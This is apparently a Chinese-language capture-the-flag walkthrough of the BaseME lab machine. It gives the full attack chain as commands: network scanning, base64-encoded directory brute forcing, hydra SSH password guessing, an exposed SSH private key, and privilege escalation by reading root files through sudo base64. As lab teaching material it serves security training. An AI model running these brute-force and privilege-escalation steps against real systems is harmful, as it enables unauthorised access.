红队专项·BaseME
字数 1185 2025-08-10 20:35:54

BaseME 渗透测试实战教学文档

1. 信息收集阶段

1.1 网络扫描

使用nmap进行初始扫描:

nmap -sT --min-rate 10000 -p- 192.168.56.0/24

发现目标主机192.168.56.102开放了两个端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

1.2 详细服务扫描

对开放端口进行更详细的扫描:

nmap -sT -sV -sC -A -p22,80 192.168.56.102

扫描结果:

  • SSH服务:OpenSSH 7.9p1 Debian 10+deb10u2
  • HTTP服务:nginx 1.14.2

2. HTTP服务渗透

2.1 目录枚举

使用dirsearch进行目录扫描:

dirsearch -u http://192.168.56.102/

结果仅发现/index.html,无其他有用信息。

2.2 Web应用指纹识别

使用whatweb识别web技术:

whatweb http://192.168.56.102/

结果显示nginx/1.14.2,无其他明显特征。

2.3 页面分析

访问web主页发现base64编码的提示信息:

QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

解码后得到:

ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

2.4 源码分析

查看页面源码发现注释:

<!--iloveyouyouloveyoushelovesyouhelovesyouweloveyoutheyhatesme-->

3. 密码爆破策略

3.1 准备用户和密码列表

创建用户列表(user.txt)和密码列表(pass.txt),内容相同:

lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme

3.2 Base64编码脚本

创建enbase.sh脚本对密码进行base64编码:

#!/bin/bash
while IFS= read -r linea
do
    echo $linea | base64 >> $2
done < $1

执行编码:

./enbase.sh pass.txt enpass.txt

3.3 SSH爆破尝试

使用hydra进行SSH爆破:

hydra -L ./user.txt -P ./enpass.txt ssh://192.168.56.102

4. 突破点:Base64编码目录爆破

4.1 准备字典

对常见目录字典进行base64编码:

./enbase.sh /usr/share/wordlists/dirb/common.txt dict.txt

4.2 目录扫描

使用gobuster进行目录扫描:

gobuster dir -u http://192.168.56.102/ -w ./dict.txt

发现两个base64编码的路径:

  • aWRfcnNhCg== (Status: 200)
  • cm9ib3RzLnR4dAo= (Status: 200)

解码后:

  • id_rsa (SSH私钥文件)
  • robots.txt

5. SSH私钥利用

5.1 获取私钥

解码并保存私钥:

echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRBZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNYdkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpKRXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJNE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JPNDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJYd3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZjMUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1czaW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUtoVWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpKZ25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhyUURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3BzUWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlEeDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNHUkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRXTHZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZkeUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VKbEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1oryssKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRlazZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0NoMgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tlYmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3RqT1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1UQ0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8rNjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==" | base64 -d

保存为id_rsa文件并设置权限:

chmod 600 id_rsa

5.2 SSH登录尝试

使用私钥登录:

ssh -i id_rsa lucas@192.168.56.102

系统提示需要私钥密码,尝试使用base64编码后的密码:

lucas:aWxvdmV5b3UK

成功登录后查看flag:

cat flag

6. 权限提升

6.1 检查sudo权限

sudo -l

6.2 利用base64读取root flag

发现可以使用/usr/bin/base64命令,利用它读取root.txt:

sudo /usr/bin/base64 /root/root.txt | base64 -d

7. 关键知识点总结

  1. 信息收集:nmap扫描是渗透测试的第一步,需要全面了解目标系统开放的服务和版本信息。

  2. Base64编码线索:渗透测试中经常遇到编码信息,需要培养识别和利用编码信息的能力。

  3. 目录爆破创新:当常规方法无效时,尝试对字典进行编码后再爆破可能获得意外收获。

  4. SSH私钥利用:获取私钥后需要正确设置权限(600)并尝试可能的密码。

  5. 权限提升技巧:检查sudo权限时,即使受限的命令也可能被利用来读取敏感文件。

  6. 自动化脚本:编写简单的bash脚本可以大大提高工作效率,如批量编码密码。

  7. 思维灵活性:当一种攻击路径受阻时,及时转换思路尝试其他方法。

BaseME 渗透测试实战教学文档 1. 信息收集阶段 1.1 网络扫描 使用nmap进行初始扫描: 发现目标主机192.168.56.102开放了两个端口: 22/tcp (SSH) 80/tcp (HTTP) 1.2 详细服务扫描 对开放端口进行更详细的扫描: 扫描结果: SSH服务:OpenSSH 7.9p1 Debian 10+deb10u2 HTTP服务:nginx 1.14.2 2. HTTP服务渗透 2.1 目录枚举 使用dirsearch进行目录扫描: 结果仅发现/index.html,无其他有用信息。 2.2 Web应用指纹识别 使用whatweb识别web技术: 结果显示nginx/1.14.2,无其他明显特征。 2.3 页面分析 访问web主页发现base64编码的提示信息: 解码后得到: 2.4 源码分析 查看页面源码发现注释: 3. 密码爆破策略 3.1 准备用户和密码列表 创建用户列表(user.txt)和密码列表(pass.txt),内容相同: 3.2 Base64编码脚本 创建enbase.sh脚本对密码进行base64编码: 执行编码: 3.3 SSH爆破尝试 使用hydra进行SSH爆破: 4. 突破点:Base64编码目录爆破 4.1 准备字典 对常见目录字典进行base64编码: 4.2 目录扫描 使用gobuster进行目录扫描: 发现两个base64编码的路径: aWRfcnNhCg== (Status: 200) cm9ib3RzLnR4dAo= (Status: 200) 解码后: id_ rsa (SSH私钥文件) robots.txt 5. SSH私钥利用 5.1 获取私钥 解码并保存私钥: 保存为id_ rsa文件并设置权限: 5.2 SSH登录尝试 使用私钥登录: 系统提示需要私钥密码,尝试使用base64编码后的密码: 成功登录后查看flag: 6. 权限提升 6.1 检查sudo权限 6.2 利用base64读取root flag 发现可以使用/usr/bin/base64命令,利用它读取root.txt: 7. 关键知识点总结 信息收集 :nmap扫描是渗透测试的第一步,需要全面了解目标系统开放的服务和版本信息。 Base64编码线索 :渗透测试中经常遇到编码信息,需要培养识别和利用编码信息的能力。 目录爆破创新 :当常规方法无效时,尝试对字典进行编码后再爆破可能获得意外收获。 SSH私钥利用 :获取私钥后需要正确设置权限(600)并尝试可能的密码。 权限提升技巧 :检查sudo权限时,即使受限的命令也可能被利用来读取敏感文件。 自动化脚本 :编写简单的bash脚本可以大大提高工作效率,如批量编码密码。 思维灵活性 :当一种攻击路径受阻时,及时转换思路尝试其他方法。